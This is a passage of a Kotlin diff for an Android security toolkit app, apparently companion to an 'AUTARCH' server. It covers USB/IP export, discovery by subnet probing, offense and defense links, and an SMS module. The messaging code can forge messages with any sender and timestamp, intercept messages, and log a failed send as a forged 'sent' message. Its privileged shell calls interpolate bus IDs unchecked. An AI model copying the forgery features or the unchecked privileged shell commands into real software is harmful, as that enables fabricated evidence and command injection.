fun listLocalDevices(): List<UsbDevice> {
|
||||
val result = PrivilegeManager.execute("usbip list -l")
|
||||
if (result.exitCode != 0) return emptyList()
|
||||
|
||||
val devices = mutableListOf<UsbDevice>()
|
||||
val lines = result.stdout.lines()
|
||||
|
||||
for (line in lines) {
|
||||
val match = Regex("""busid\s+(\S+)\s+\(([^)]+)\)""").find(line)
|
||||
if (match != null) {
|
||||
val busId = match.groupValues[1]
|
||||
val desc = match.groupValues[2]
|
||||
devices.add(UsbDevice(busId, desc))
|
||||
}
|
||||
}
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
/**
|
||||
* Bind a local USB device for export.
|
||||
*/
|
||||
fun bindDevice(busId: String): ShellResult {
|
||||
return PrivilegeManager.execute("usbip bind -b $busId")
|
||||
}
|
||||
|
||||
/**
|
||||
* Unbind a local USB device from export.
|
||||
*/
|
||||
fun unbindDevice(busId: String): ShellResult {
|
||||
return PrivilegeManager.execute("usbip unbind -b $busId")
|
||||
}
|
||||
|
||||
/**
|
||||
* Get combined USB/IP status.
|
||||
*/
|
||||
fun getStatus(): Map<String, Any> {
|
||||
val available = isAvailable()
|
||||
val exporting = if (available) isExporting() else false
|
||||
val devices = if (available) listLocalDevices() else emptyList()
|
||||
|
||||
return mapOf(
|
||||
"available" to available,
|
||||
"exporting" to exporting,
|
||||
"device_count" to devices.size,
|
||||
"devices" to devices.map { mapOf("bus_id" to it.busId, "description" to it.description) }
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,278 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.graphics.Color
|
||||
import android.graphics.drawable.GradientDrawable
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import androidx.fragment.app.Fragment
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.service.DiscoveryManager
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.darkhal.archon.util.ShellExecutor
|
||||
import com.darkhal.archon.util.SslHelper
|
||||
import com.google.android.material.button.MaterialButton
|
||||
import java.net.HttpURLConnection
|
||||
import java.net.URL
|
||||
|
||||
class DashboardFragment : Fragment() {
|
||||
|
||||
private lateinit var privilegeStatusDot: View
|
||||
private lateinit var privilegeStatusText: TextView
|
||||
private lateinit var serverStatusDot: View
|
||||
private lateinit var serverStatusText: TextView
|
||||
private lateinit var wgStatusDot: View
|
||||
private lateinit var wgStatusText: TextView
|
||||
private lateinit var outputLog: TextView
|
||||
|
||||
// Discovery
|
||||
private lateinit var discoveryStatusDot: View
|
||||
private lateinit var discoveryStatusText: TextView
|
||||
private lateinit var discoveryMethodText: TextView
|
||||
private lateinit var btnDiscover: MaterialButton
|
||||
private var discoveryManager: DiscoveryManager? = null
|
||||
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_dashboard, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
// Bind views
|
||||
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
|
||||
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
|
||||
serverStatusDot = view.findViewById(R.id.server_status_dot)
|
||||
serverStatusText = view.findViewById(R.id.server_status_text)
|
||||
wgStatusDot = view.findViewById(R.id.wg_status_dot)
|
||||
wgStatusText = view.findViewById(R.id.wg_status_text)
|
||||
outputLog = view.findViewById(R.id.output_log)
|
||||
|
||||
// Discovery views
|
||||
discoveryStatusDot = view.findViewById(R.id.discovery_status_dot)
|
||||
discoveryStatusText = view.findViewById(R.id.discovery_status_text)
|
||||
discoveryMethodText = view.findViewById(R.id.discovery_method_text)
|
||||
btnDiscover = view.findViewById(R.id.btn_discover)
|
||||
|
||||
setupDiscovery()
|
||||
|
||||
// Initialize PrivilegeManager and check available methods
|
||||
val ctx = requireContext()
|
||||
PrivilegeManager.init(ctx, PrefsManager.getServerIp(ctx), PrefsManager.getWebPort(ctx))
|
||||
|
||||
Thread {
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
handler.post {
|
||||
val hasPrivilege = method != PrivilegeManager.Method.NONE
|
||||
setStatusDot(privilegeStatusDot, hasPrivilege)
|
||||
privilegeStatusText.text = "Privilege: ${method.label}"
|
||||
appendLog("Privilege: ${method.label}")
|
||||
refreshServerStatus()
|
||||
}
|
||||
}.start()
|
||||
|
||||
// Auto-discover server on launch
|
||||
startDiscovery()
|
||||
}
|
||||
|
||||
private fun refreshServerStatus() {
|
||||
Thread {
|
||||
val serverIp = PrefsManager.getServerIp(requireContext())
|
||||
val webPort = PrefsManager.getWebPort(requireContext())
|
||||
|
||||
// Check WireGuard tunnel
|
||||
val wgResult = ShellExecutor.execute("ip addr show wg0 2>/dev/null")
|
||||
val wgUp = wgResult.exitCode == 0 && wgResult.stdout.contains("inet ")
|
||||
|
||||
// Check if AUTARCH server is reachable
|
||||
val serverReachable = if (serverIp.isNotEmpty()) {
|
||||
probeServer(serverIp, webPort)
|
||||
} else {
|
||||
false
|
||||
}
|
||||
|
||||
handler.post {
|
||||
// WireGuard
|
||||
setStatusDot(wgStatusDot, wgUp)
|
||||
wgStatusText.text = if (wgUp) "WireGuard: connected" else "WireGuard: not active"
|
||||
|
||||
// Server
|
||||
if (serverIp.isEmpty()) {
|
||||
setStatusDot(serverStatusDot, false)
|
||||
serverStatusText.text = "Server: not configured — tap SCAN or set in Settings"
|
||||
} else if (serverReachable) {
|
||||
setStatusDot(serverStatusDot, true)
|
||||
serverStatusText.text = "Server: $serverIp:$webPort (connected)"
|
||||
} else {
|
||||
setStatusDot(serverStatusDot, false)
|
||||
serverStatusText.text = "Server: $serverIp:$webPort (unreachable)"
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun probeServer(ip: String, port: Int): Boolean {
|
||||
return try {
|
||||
val url = URL("https://$ip:$port/")
|
||||
val conn = url.openConnection() as HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 3000
|
||||
conn.readTimeout = 3000
|
||||
conn.requestMethod = "GET"
|
||||
conn.instanceFollowRedirects = true
|
||||
val code = conn.responseCode
|
||||
conn.disconnect()
|
||||
code in 200..399
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun setStatusDot(dot: View, online: Boolean) {
|
||||
val drawable = GradientDrawable()
|
||||
drawable.shape = GradientDrawable.OVAL
|
||||
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||
dot.background = drawable
|
||||
}
|
||||
|
||||
private fun appendLog(msg: String) {
|
||||
val current = outputLog.text.toString()
|
||||
val lines = current.split("\n").takeLast(20)
|
||||
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||
}
|
||||
|
||||
// ── Discovery ────────────────────────────────────────────────
|
||||
|
||||
private fun setupDiscovery() {
|
||||
discoveryManager = DiscoveryManager(requireContext())
|
||||
discoveryManager?.listener = object : DiscoveryManager.Listener {
|
||||
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
|
||||
val method = when (server.method) {
|
||||
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
|
||||
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
|
||||
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
|
||||
}
|
||||
setStatusDot(discoveryStatusDot, true)
|
||||
discoveryStatusText.text = "Found: ${server.hostname}"
|
||||
discoveryMethodText.text = "via $method"
|
||||
appendLog("Discovered AUTARCH via $method")
|
||||
|
||||
if (server.ip.isNotEmpty() && server.port > 0) {
|
||||
PrefsManager.setServerIp(requireContext(), server.ip)
|
||||
PrefsManager.setWebPort(requireContext(), server.port)
|
||||
appendLog("Auto-configured: ${server.ip}:${server.port}")
|
||||
// Update PrivilegeManager with new server info
|
||||
PrivilegeManager.setServerConnection(server.ip, server.port)
|
||||
refreshServerStatus()
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {
|
||||
appendLog("Scanning: ${method.name}...")
|
||||
}
|
||||
|
||||
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
|
||||
if (discoveryManager?.getDiscoveredServers()?.isEmpty() == true) {
|
||||
appendLog("No mDNS/BT response — trying HTTP probe...")
|
||||
probeLocalSubnet()
|
||||
}
|
||||
btnDiscover.isEnabled = true
|
||||
btnDiscover.text = "SCAN"
|
||||
}
|
||||
|
||||
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {
|
||||
appendLog("${method.name}: $error")
|
||||
}
|
||||
}
|
||||
|
||||
btnDiscover.setOnClickListener {
|
||||
startDiscovery()
|
||||
}
|
||||
}
|
||||
|
||||
private fun startDiscovery() {
|
||||
setStatusDot(discoveryStatusDot, false)
|
||||
discoveryStatusText.text = "Scanning network..."
|
||||
discoveryMethodText.text = "mDNS / Wi-Fi Direct / Bluetooth / HTTP"
|
||||
btnDiscover.isEnabled = false
|
||||
btnDiscover.text = "SCANNING..."
|
||||
discoveryManager?.startDiscovery()
|
||||
}
|
||||
|
||||
private fun probeLocalSubnet() {
|
||||
Thread {
|
||||
val port = PrefsManager.getWebPort(requireContext())
|
||||
|
||||
val routeResult = ShellExecutor.execute("ip route show default 2>/dev/null")
|
||||
val gateway = routeResult.stdout.split(" ").let { parts ->
|
||||
val idx = parts.indexOf("via")
|
||||
if (idx >= 0 && idx + 1 < parts.size) parts[idx + 1] else null
|
||||
}
|
||||
|
||||
if (gateway == null) {
|
||||
handler.post {
|
||||
discoveryStatusText.text = "No AUTARCH server found"
|
||||
discoveryMethodText.text = "Set server IP in Settings tab"
|
||||
}
|
||||
return@Thread
|
||||
}
|
||||
|
||||
val base = gateway.substringBeforeLast(".") + "."
|
||||
appendLogOnUi("Probing ${base}x on port $port...")
|
||||
|
||||
val candidates = mutableListOf<String>()
|
||||
candidates.add(gateway)
|
||||
for (i in 1..30) {
|
||||
val ip = "$base$i"
|
||||
if (ip != gateway) candidates.add(ip)
|
||||
}
|
||||
candidates.addAll(listOf("${base}100", "${base}200", "${base}254"))
|
||||
|
||||
val savedIp = PrefsManager.getServerIp(requireContext())
|
||||
if (savedIp.isNotEmpty() && !savedIp.startsWith("10.1.0.")) {
|
||||
candidates.add(0, savedIp)
|
||||
}
|
||||
|
||||
for (ip in candidates) {
|
||||
if (probeServer(ip, port)) {
|
||||
handler.post {
|
||||
PrefsManager.setServerIp(requireContext(), ip)
|
||||
setStatusDot(discoveryStatusDot, true)
|
||||
discoveryStatusText.text = "Found: AUTARCH"
|
||||
discoveryMethodText.text = "via HTTP probe ($ip)"
|
||||
appendLog("Found AUTARCH at $ip:$port (HTTP)")
|
||||
PrivilegeManager.setServerConnection(ip, port)
|
||||
refreshServerStatus()
|
||||
}
|
||||
return@Thread
|
||||
}
|
||||
}
|
||||
|
||||
handler.post {
|
||||
discoveryStatusText.text = "No AUTARCH server found"
|
||||
discoveryMethodText.text = "Set server IP in Settings tab"
|
||||
appendLog("HTTP probe: no server found on $base* :$port")
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun appendLogOnUi(msg: String) {
|
||||
handler.post { appendLog(msg) }
|
||||
}
|
||||
|
||||
override fun onDestroyView() {
|
||||
super.onDestroyView()
|
||||
discoveryManager?.stopDiscovery()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.content.Intent
|
||||
import android.net.Uri
|
||||
import android.os.Bundle
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import androidx.fragment.app.Fragment
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
|
||||
class LinksFragment : Fragment() {
|
||||
|
||||
private data class LinkItem(
|
||||
val cardId: Int,
|
||||
val path: String
|
||||
)
|
||||
|
||||
private val links = listOf(
|
||||
LinkItem(R.id.card_dashboard, "/dashboard"),
|
||||
LinkItem(R.id.card_wireguard, "/wireguard"),
|
||||
LinkItem(R.id.card_shield, "/android-protect"),
|
||||
LinkItem(R.id.card_hardware, "/hardware"),
|
||||
LinkItem(R.id.card_wireshark, "/wireshark"),
|
||||
LinkItem(R.id.card_osint, "/osint"),
|
||||
LinkItem(R.id.card_defense, "/defense"),
|
||||
LinkItem(R.id.card_offense, "/offense"),
|
||||
LinkItem(R.id.card_settings, "/settings")
|
||||
)
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_links, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
val baseUrl = PrefsManager.getAutarchBaseUrl(requireContext())
|
||||
|
||||
// Update server URL label
|
||||
view.findViewById<TextView>(R.id.server_url_label).text = "Server: $baseUrl"
|
||||
|
||||
// Set up click listeners for all link cards
|
||||
for (link in links) {
|
||||
view.findViewById<View>(link.cardId)?.setOnClickListener {
|
||||
openUrl("$baseUrl${link.path}")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun openUrl(url: String) {
|
||||
val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url))
|
||||
startActivity(intent)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,761 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.app.DatePickerDialog
|
||||
import android.app.TimePickerDialog
|
||||
import android.graphics.Color
|
||||
import android.graphics.drawable.GradientDrawable
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.CheckBox
|
||||
import android.widget.PopupMenu
|
||||
import android.widget.TextView
|
||||
import android.widget.Toast
|
||||
import androidx.appcompat.app.AlertDialog
|
||||
import androidx.fragment.app.Fragment
|
||||
import androidx.recyclerview.widget.LinearLayoutManager
|
||||
import androidx.recyclerview.widget.RecyclerView
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.messaging.ConversationAdapter
|
||||
import com.darkhal.archon.messaging.MessageAdapter
|
||||
import com.darkhal.archon.messaging.MessagingModule
|
||||
import com.darkhal.archon.messaging.MessagingRepository
|
||||
import com.darkhal.archon.messaging.ShizukuManager
|
||||
import com.darkhal.archon.module.ModuleManager
|
||||
import com.google.android.material.button.MaterialButton
|
||||
import com.google.android.material.card.MaterialCardView
|
||||
import com.google.android.material.floatingactionbutton.FloatingActionButton
|
||||
import com.google.android.material.textfield.TextInputEditText
|
||||
import java.text.SimpleDateFormat
|
||||
import java.util.Calendar
|
||||
import java.util.Date
|
||||
import java.util.Locale
|
||||
|
||||
/**
|
||||
* SMS/RCS Messaging tab — full messaging UI with conversation list and thread view.
|
||||
*
|
||||
* Two views:
|
||||
* 1. Conversation list — shows all threads with contact, snippet, date, unread count
|
||||
* 2. Message thread — shows messages as chat bubbles with input bar
|
||||
*
|
||||
* Features:
|
||||
* - Search across all messages
|
||||
* - Set/restore default SMS app
|
||||
* - Export conversations (XML/CSV)
|
||||
* - Forge messages with arbitrary sender/timestamp
|
||||
* - Edit/delete messages via long-press context menu
|
||||
* - Shizuku status indicator
|
||||
*/
|
||||
class MessagingFragment : Fragment() {
|
||||
|
||||
// Views — Conversation list
|
||||
private lateinit var conversationListContainer: View
|
||||
private lateinit var recyclerConversations: RecyclerView
|
||||
private lateinit var emptyState: TextView
|
||||
private lateinit var shizukuDot: View
|
||||
private lateinit var btnSearch: MaterialButton
|
||||
private lateinit var btnDefaultSms: MaterialButton
|
||||
private lateinit var btnTools: MaterialButton
|
||||
private lateinit var searchBar: View
|
||||
private lateinit var inputSearch: TextInputEditText
|
||||
private lateinit var btnSearchGo: MaterialButton
|
||||
private lateinit var btnSearchClose: MaterialButton
|
||||
private lateinit var fabNewMessage: FloatingActionButton
|
||||
|
||||
// Views — Thread
|
||||
private lateinit var threadViewContainer: View
|
||||
private lateinit var recyclerMessages: RecyclerView
|
||||
private lateinit var threadContactName: TextView
|
||||
private lateinit var threadAddress: TextView
|
||||
private lateinit var btnBack: MaterialButton
|
||||
private lateinit var btnThreadExport: MaterialButton
|
||||
private lateinit var inputMessage: TextInputEditText
|
||||
private lateinit var btnSend: MaterialButton
|
||||
|
||||
// Views — Output log
|
||||
private lateinit var outputLogCard: MaterialCardView
|
||||
private lateinit var outputLog: TextView
|
||||
private lateinit var btnCloseLog: MaterialButton
|
||||
|
||||
// Data
|
||||
private lateinit var repo: MessagingRepository
|
||||
private lateinit var shizuku: ShizukuManager
|
||||
private lateinit var conversationAdapter: ConversationAdapter
|
||||
private lateinit var messageAdapter: MessageAdapter
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
// State
|
||||
private var currentThreadId: Long = -1
|
||||
private var currentAddress: String = ""
|
||||
private var isDefaultSms: Boolean = false
|
||||
|
||||
// Forge dialog state
|
||||
private var forgeCalendar: Calendar = Calendar.getInstance()
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_messaging, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
repo = MessagingRepository(requireContext())
|
||||
shizuku = ShizukuManager(requireContext())
|
||||
|
||||
bindViews(view)
|
||||
setupConversationList()
|
||||
setupThreadView()
|
||||
setupSearch()
|
||||
setupToolbar()
|
||||
setupOutputLog()
|
||||
|
||||
// Load conversations
|
||||
loadConversations()
|
||||
|
||||
// Check Shizuku status
|
||||
refreshShizukuStatus()
|
||||
}
|
||||
|
||||
// ── View binding ───────────────────────────────────────────────
|
||||
|
||||
private fun bindViews(view: View) {
|
||||
// Conversation list
|
||||
conversationListContainer = view.findViewById(R.id.conversation_list_container)
|
||||
recyclerConversations = view.findViewById(R.id.recycler_conversations)
|
||||
emptyState = view.findViewById(R.id.empty_state)
|
||||
shizukuDot = view.findViewById(R.id.shizuku_status_dot)
|
||||
btnSearch = view.findViewById(R.id.btn_search)
|
||||
btnDefaultSms = view.findViewById(R.id.btn_default_sms)
|
||||
btnTools = view.findViewById(R.id.btn_tools)
|
||||
searchBar = view.findViewById(R.id.search_bar)
|
||||
inputSearch = view.findViewById(R.id.input_search)
|
||||
btnSearchGo = view.findViewById(R.id.btn_search_go)
|
||||
btnSearchClose = view.findViewById(R.id.btn_search_close)
|
||||
fabNewMessage = view.findViewById(R.id.fab_new_message)
|
||||
|
||||
// Thread view
|
||||
threadViewContainer = view.findViewById(R.id.thread_view_container)
|
||||
recyclerMessages = view.findViewById(R.id.recycler_messages)
|
||||
threadContactName = view.findViewById(R.id.thread_contact_name)
|
||||
threadAddress = view.findViewById(R.id.thread_address)
|
||||
btnBack = view.findViewById(R.id.btn_back)
|
||||
btnThreadExport = view.findViewById(R.id.btn_thread_export)
|
||||
inputMessage = view.findViewById(R.id.input_message)
|
||||
btnSend = view.findViewById(R.id.btn_send)
|
||||
|
||||
// Output log
|
||||
outputLogCard = view.findViewById(R.id.output_log_card)
|
||||
outputLog = view.findViewById(R.id.messaging_output_log)
|
||||
btnCloseLog = view.findViewById(R.id.btn_close_log)
|
||||
}
|
||||
|
||||
// ── Conversation list ──────────────────────────────────────────
|
||||
|
||||
private fun setupConversationList() {
|
||||
conversationAdapter = ConversationAdapter(mutableListOf()) { conversation ->
|
||||
openThread(conversation)
|
||||
}
|
||||
|
||||
recyclerConversations.apply {
|
||||
layoutManager = LinearLayoutManager(requireContext())
|
||||
adapter = conversationAdapter
|
||||
}
|
||||
|
||||
fabNewMessage.setOnClickListener {
|
||||
showForgeMessageDialog()
|
||||
}
|
||||
}
|
||||
|
||||
private fun loadConversations() {
|
||||
Thread {
|
||||
val conversations = repo.getConversations()
|
||||
handler.post {
|
||||
conversationAdapter.updateData(conversations)
|
||||
if (conversations.isEmpty()) {
|
||||
emptyState.visibility = View.VISIBLE
|
||||
recyclerConversations.visibility = View.GONE
|
||||
} else {
|
||||
emptyState.visibility = View.GONE
|
||||
recyclerConversations.visibility = View.VISIBLE
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
// ── Thread view ────────────────────────────────────────────────
|
||||
|
||||
private fun setupThreadView() {
|
||||
messageAdapter = MessageAdapter(mutableListOf()) { message ->
|
||||
showMessageContextMenu(message)
|
||||
}
|
||||
|
||||
recyclerMessages.apply {
|
||||
layoutManager = LinearLayoutManager(requireContext()).apply {
|
||||
stackFromEnd = true
|
||||
}
|
||||
adapter = messageAdapter
|
||||
}
|
||||
|
||||
btnBack.setOnClickListener {
|
||||
closeThread()
|
||||
}
|
||||
|
||||
btnSend.setOnClickListener {
|
||||
sendMessage()
|
||||
}
|
||||
|
||||
btnThreadExport.setOnClickListener {
|
||||
exportCurrentThread()
|
||||
}
|
||||
}
|
||||
|
||||
private fun openThread(conversation: MessagingRepository.Conversation) {
|
||||
currentThreadId = conversation.threadId
|
||||
currentAddress = conversation.address
|
||||
|
||||
val displayName = conversation.contactName ?: conversation.address
|
||||
threadContactName.text = displayName
|
||||
threadAddress.text = if (conversation.contactName != null) conversation.address else ""
|
||||
|
||||
// Mark as read
|
||||
Thread {
|
||||
repo.markAsRead(conversation.threadId)
|
||||
}.start()
|
||||
|
||||
// Load messages
|
||||
loadMessages(conversation.threadId)
|
||||
|
||||
// Switch views
|
||||
conversationListContainer.visibility = View.GONE
|
||||
threadViewContainer.visibility = View.VISIBLE
|
||||
}
|
||||
|
||||
private fun closeThread() {
|
||||
currentThreadId = -1
|
||||
currentAddress = ""
|
||||
|
||||
threadViewContainer.visibility = View.GONE
|
||||
conversationListContainer.visibility = View.VISIBLE
|
||||
|
||||
// Refresh conversations to update unread counts
|
||||
loadConversations()
|
||||
}
|
||||
|
||||
private fun loadMessages(threadId: Long) {
|
||||
Thread {
|
||||
val messages = repo.getMessages(threadId)
|
||||
handler.post {
|
||||
messageAdapter.updateData(messages)
|
||||
// Scroll to bottom
|
||||
if (messages.isNotEmpty()) {
|
||||
recyclerMessages.scrollToPosition(messages.size - 1)
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun sendMessage() {
|
||||
val body = inputMessage.text?.toString()?.trim() ?: return
|
||||
if (body.isEmpty()) return
|
||||
|
||||
inputMessage.setText("")
|
||||
|
||||
Thread {
|
||||
val success = repo.sendSms(currentAddress, body)
|
||||
handler.post {
|
||||
if (success) {
|
||||
// Reload messages to show the sent message
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
// If we can't send (not default SMS), try forge as sent
|
||||
val id = repo.forgeMessage(
|
||||
currentAddress, body,
|
||||
MessagingRepository.MESSAGE_TYPE_SENT,
|
||||
System.currentTimeMillis(), read = true
|
||||
)
|
||||
if (id >= 0) {
|
||||
loadMessages(currentThreadId)
|
||||
appendLog("Message inserted (forge mode — not actually sent)")
|
||||
} else {
|
||||
appendLog("Failed to send/insert — need default SMS app role")
|
||||
Toast.makeText(requireContext(),
|
||||
"Cannot send — set as default SMS app first",
|
||||
Toast.LENGTH_SHORT).show()
|
||||
}
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun exportCurrentThread() {
|
||||
if (currentThreadId < 0) return
|
||||
|
||||
Thread {
|
||||
val result = ModuleManager.executeAction("messaging", "export_thread:$currentThreadId", requireContext())
|
||||
handler.post {
|
||||
appendLog(result.output)
|
||||
for (detail in result.details) {
|
||||
appendLog(" $detail")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
// ── Search ─────────────────────────────────────────────────────
|
||||
|
||||
private fun setupSearch() {
|
||||
btnSearch.setOnClickListener {
|
||||
if (searchBar.visibility == View.VISIBLE) {
|
||||
searchBar.visibility = View.GONE
|
||||
} else {
|
||||
searchBar.visibility = View.VISIBLE
|
||||
inputSearch.requestFocus()
|
||||
}
|
||||
}
|
||||
|
||||
btnSearchGo.setOnClickListener {
|
||||
val query = inputSearch.text?.toString()?.trim() ?: ""
|
||||
if (query.isNotEmpty()) {
|
||||
performSearch(query)
|
||||
}
|
||||
}
|
||||
|
||||
btnSearchClose.setOnClickListener {
|
||||
searchBar.visibility = View.GONE
|
||||
inputSearch.setText("")
|
||||
loadConversations()
|
||||
}
|
||||
}
|
||||
|
||||
private fun performSearch(query: String) {
|
||||
Thread {
|
||||
val results = repo.searchMessages(query)
|
||||
handler.post {
|
||||
if (results.isEmpty()) {
|
||||
appendLog("No results for '$query'")
|
||||
showOutputLog()
|
||||
} else {
|
||||
// Group results by thread and show as conversations
|
||||
val threadGroups = results.groupBy { it.threadId }
|
||||
val conversations = threadGroups.map { (threadId, msgs) ->
|
||||
val first = msgs.first()
|
||||
MessagingRepository.Conversation(
|
||||
threadId = threadId,
|
||||
address = first.address,
|
||||
snippet = "[${msgs.size} matches] ${first.body.take(40)}",
|
||||
date = first.date,
|
||||
messageCount = msgs.size,
|
||||
unreadCount = 0,
|
||||
contactName = first.contactName
|
||||
)
|
||||
}.sortedByDescending { it.date }
|
||||
|
||||
conversationAdapter.updateData(conversations)
|
||||
emptyState.visibility = View.GONE
|
||||
recyclerConversations.visibility = View.VISIBLE
|
||||
appendLog("Found ${results.size} messages in ${conversations.size} threads")
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
// ── Toolbar actions ────────────────────────────────────────────
|
||||
|
||||
private fun setupToolbar() {
|
||||
btnDefaultSms.setOnClickListener {
|
||||
toggleDefaultSms()
|
||||
}
|
||||
|
||||
btnTools.setOnClickListener { anchor ->
|
||||
showToolsMenu(anchor)
|
||||
}
|
||||
}
|
||||
|
||||
private fun toggleDefaultSms() {
|
||||
Thread {
|
||||
if (!isDefaultSms) {
|
||||
val result = ModuleManager.executeAction("messaging", "become_default", requireContext())
|
||||
handler.post {
|
||||
if (result.success) {
|
||||
isDefaultSms = true
|
||||
btnDefaultSms.text = getString(R.string.messaging_restore_default)
|
||||
appendLog("Archon is now default SMS app")
|
||||
} else {
|
||||
appendLog("Failed: ${result.output}")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
} else {
|
||||
val result = ModuleManager.executeAction("messaging", "restore_default", requireContext())
|
||||
handler.post {
|
||||
if (result.success) {
|
||||
isDefaultSms = false
|
||||
btnDefaultSms.text = getString(R.string.messaging_become_default)
|
||||
appendLog("Default SMS app restored")
|
||||
} else {
|
||||
appendLog("Failed: ${result.output}")
|
||||
}
|
||||
showOutputLog()
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun showToolsMenu(anchor: View) {
|
||||
val popup = PopupMenu(requireContext(), anchor)
|
||||
popup.menu.add(0, 1, 0, "Export All Messages")
|
||||
popup.menu.add(0, 2, 1, "Forge Message")
|
||||
popup.menu.add(0, 3, 2, "Forge Conversation")
|
||||
popup.menu.add(0, 4, 3, "RCS Status")
|
||||
popup.menu.add(0, 5, 4, "Shizuku Status")
|
||||
popup.menu.add(0, 6, 5, "Intercept Mode ON")
|
||||
popup.menu.add(0, 7, 6, "Intercept Mode OFF")
|
||||
|
||||
popup.setOnMenuItemClickListener { item ->
|
||||
when (item.itemId) {
|
||||
1 -> executeModuleAction("export_all")
|
||||
2 -> showForgeMessageDialog()
|
||||
3 -> showForgeConversationDialog()
|
||||
4 -> executeModuleAction("rcs_status")
|
||||
5 -> executeModuleAction("shizuku_status")
|
||||
6 -> executeModuleAction("intercept_mode:on")
|
||||
7 -> executeModuleAction("intercept_mode:off")
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
popup.show()
|
||||
}
|
||||
|
||||
private fun executeModuleAction(actionId: String) {
|
||||
appendLog("Running: $actionId...")
|
||||
showOutputLog()
|
||||
|
||||
Thread {
|
||||
val result = ModuleManager.executeAction("messaging", actionId, requireContext())
|
||||
handler.post {
|
||||
appendLog(result.output)
|
||||
for (detail in result.details.take(20)) {
|
||||
appendLog(" $detail")
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
// ── Shizuku status ─────────────────────────────────────────────
|
||||
|
||||
private fun refreshShizukuStatus() {
|
||||
Thread {
|
||||
val ready = shizuku.isReady()
|
||||
handler.post {
|
||||
setStatusDot(shizukuDot, ready)
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun setStatusDot(dot: View, online: Boolean) {
|
||||
val drawable = GradientDrawable()
|
||||
drawable.shape = GradientDrawable.OVAL
|
||||
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||
dot.background = drawable
|
||||
}
|
||||
|
||||
// ── Message context menu (long-press) ──────────────────────────
|
||||
|
||||
private fun showMessageContextMenu(message: MessagingRepository.Message) {
|
||||
val items = arrayOf(
|
||||
"Copy",
|
||||
"Edit Body",
|
||||
"Delete",
|
||||
